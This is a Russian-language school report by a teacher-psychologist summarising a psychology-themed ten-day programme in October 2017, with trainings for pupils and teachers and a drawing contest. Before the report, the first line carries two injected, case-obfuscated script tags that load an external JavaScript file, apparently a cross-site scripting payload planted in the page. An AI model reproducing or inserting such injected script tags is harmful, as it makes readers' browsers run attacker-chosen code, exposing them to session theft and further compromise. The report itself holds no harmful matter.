<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

28.12.2017

С 03.10.2017 года по 15.10.2017 года в нашей школе проводились мероприятия в рамках декады психологии. Декада проводилась под общей тематикой «Психология общения».

Цели:

Создание в образовательном учреждении условий для сохранения и укрепления психологического здоровья учащихся;

Задачи:

формирование чувства успешности; 

активизация размышлений учащихся о месте и роли знаний психологии в собственной жизни, жизни людей;

формирование у школьников и педагогического коллектива чувства единения.

В этом году, мероприятия декады носили разносторонний, многоаспектный характер (профилактический, просветительский, развивающий, аналитический), целевой аудиторией которых являлись все участники учебно-воспитательного процесса (учащиеся, родители, педагоги).

Декада началась с выявления детей с дезадаптацией. 03.10.17 года была проведена диагностическая работа (Методика «Экспертная оценка адаптированности ребенка к школе») с родителями 1ого класса. Детей с дезадаптацией не выявлено. По результатам данной работы, проводятся индивидуальные беседы с  детьми и родителям.

04.10.2017 года психологический тренинг «Я учусь владеть собой» в 7-ых классах.

Цель: формирование у учащихся способности анализировать и адекватно оценивать свое состояние, знакомство с понятием эмоция, чувство; управлять своим эмоциональным состоянием. В начале мероприятии ученики прослушали материал психолога на тему «Роль чувств в жизни человека». Были проведены упражнения «Пять стульев», «Передай маску», презентация «Отгадывание эмоций». В конце занятия было проведено упражнение «Пушинка», и ребята получили памятки «Как управлять эмоциями?». Занятие прошло с применением ИКТ. Дети работали активно, урок прошел на должном уровне. На уроке присутствовали завуч по учебно – воспитательной работе Мухаметьярова Л.В., учитель истории Калымтаев А.Т.

06.10.2017 года проводился конкурс рисунков на тему «Что такое счастье?» Участниками конкурса были ученики 2, 4 классов. Дети с большим удовольствием выполнили работы. Все работы были красочные и со смыслом.

09.10.2017 года классный час «Важней всего погода в классе» в 5 классе. Цель: дать детям представление о хорошем психологическом климате в коллективе; напомнить об основных правилах общения; развивать умение правильно оценивать себя и других;

формировать навыки культуры общения; воспитывать уважение к окружающим;

способствовать повышению ценности классного коллектива.

В начале классного часа психолог провела вступление «Хороший климат нужен всем». Было проведено игровое

задание «Ступеньки к добру», блиц опрос «Как создать хороший климат?», упражнения на отношения: слушать и слышать, уважать чужое мнение, узнать себя.

В заключении урока проведена беседа «Какой климат в нашем классе?». Урок проводился с использованием ИКТ. Дети были активны, все принимали участие. На уроке присутствовали завуч по учебно – воспитательной работе Мухаметьярова Л.В., учитель истории Калымтаев А.Т.

10.10.2017 года занятие-тренинг «Класс глазами каждого» в 10 классе. Цель: сплочение классного коллектива, создание благоприятного психологического климата, преодоление барьера в межличностных отношениях, развитие коммуникативных навыков. Были проведены упражнения «Мы похожи с тобой тем…», «Модель идеального класса», «Понятия».

В конце проведен ритуал прощания «Подсолнух». На уроке присутствовали директор школы Кулнашарова А.Е., завуч по учебно – воспитательной работе Мухаметьярова Л.В..

11.10.2017 года психологический тренинг для педагогов «Вместе мы одна команда». Тренинг направлен на сплочение педагогического коллектива, развитие коммуникативных навыков, эмоциональной устойчивости, уверенности в себе, доброжелательного отношения друг к другу. Выполняя упражнения тренинга, педагоги учатся

понимать друг друга. Тренинг мотивирует педагогов к самосовершенствованию, рефлексии, овладению механизмами коммуникативной компетентности. Общая цель: достичь положительных межличностных отношений (специфики формальных и неформальных организационных связей в коллективе и соотношение

между ними), демократического уровня в коллективе, оптимального уровня психологической совместимости коллектива, раскрыть внутренний

12.10.2017 года творческий потенциала педагога. В начале тренинга учителя прослушали информацию на тему

«Педагогическая этика», после учителя работали по группам, были проведены разные упражнения. В конце занятия проведено упражнение «Комплимент».

13.10.2017 года тренинговое занятие «Школьная семья» 1 класс. Цель: формирование навыков коммуникации и умения действовать сообща, создание доброжелательной атмосферы, развитие произвольного внимания, повышение эмоционального фона. В начале занятия психолог с детьми составили правила тренинга. Проведены упражнения «Апельсин», «Босс сказал», «Наблюдашки», «Нос-потолок-пол». Дети работали активно, все приняли участие. Урок прошел на должном уровне. На уроке присутствовал социальный педагог Духовская Г.К.

 

 

Подготовила  педагог-психолог  Штром Н.О.